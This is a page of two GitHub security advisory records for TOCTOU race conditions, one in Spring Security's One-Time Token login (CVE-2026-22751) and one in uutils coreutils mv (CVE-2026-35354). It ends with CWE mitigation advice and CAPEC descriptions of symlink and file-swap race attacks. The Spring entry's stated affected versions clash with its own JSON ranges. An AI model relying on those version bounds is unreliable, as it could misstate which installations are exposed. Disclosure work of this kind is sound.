GHSA-X2WQ-9X2F-FHJ7
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-25 23:38Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.5.0"
},
{
"fixed": "6.5.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.3"
},
{
"fixed": "7.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.4.0"
},
{
"last_affected": "6.4.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22751"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:38:48Z",
"nvd_published_at": "2026-04-21T19:16:16Z",
"severity": "MODERATE"
},
"details": "Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with\u00a0JdbcOneTimeTokenService\u00a0are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition.\u00a0This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.",
"id": "GHSA-x2wq-9x2f-fhj7",
"modified": "2026-04-25T23:38:48Z",
"published": "2026-04-21T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22751"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/commit/163772775036c4146815a5266874278c6f45f047"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-security/commit/4187af38b251fc97fdf9949f7869618111e6e261"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-security"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-22751"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spring Security Core has a TOCTOU race condition when One-Time Token login with\u00a0JdbcOneTimeTokenService\u00a0is configured"
}
GHSA-X4MC-MQM7-GG39
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-30 17:10A Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the mv utility of uutils coreutils during cross-device moves. The extended attribute (xattr) preservation logic uses multiple path-based system calls that perform fresh path-to-inode lookups for each operation. A local attacker with write access to the directory can exploit this race to swap files between calls, causing the destination file to receive an inconsistent mix of security xattrs, such as SELinux labels or file capabilities.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "coreutils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35354"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:10:41Z",
"nvd_published_at": "2026-04-22T17:16:37Z",
"severity": "MODERATE"
},
"details": "A Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the mv utility of uutils coreutils during cross-device moves. The extended attribute (xattr) preservation logic uses multiple path-based system calls that perform fresh path-to-inode lookups for each operation. A local attacker with write access to the directory can exploit this race to swap files between calls, causing the destination file to receive an inconsistent mix of security xattrs, such as SELinux labels or file capabilities.",
"id": "GHSA-x4mc-mqm7-gg39",
"modified": "2026-04-30T17:10:42Z",
"published": "2026-04-22T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35354"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/10014"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "uutils coreutils has a Time-of-Check to Time-of-Use (TOCTOU) race condition"
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.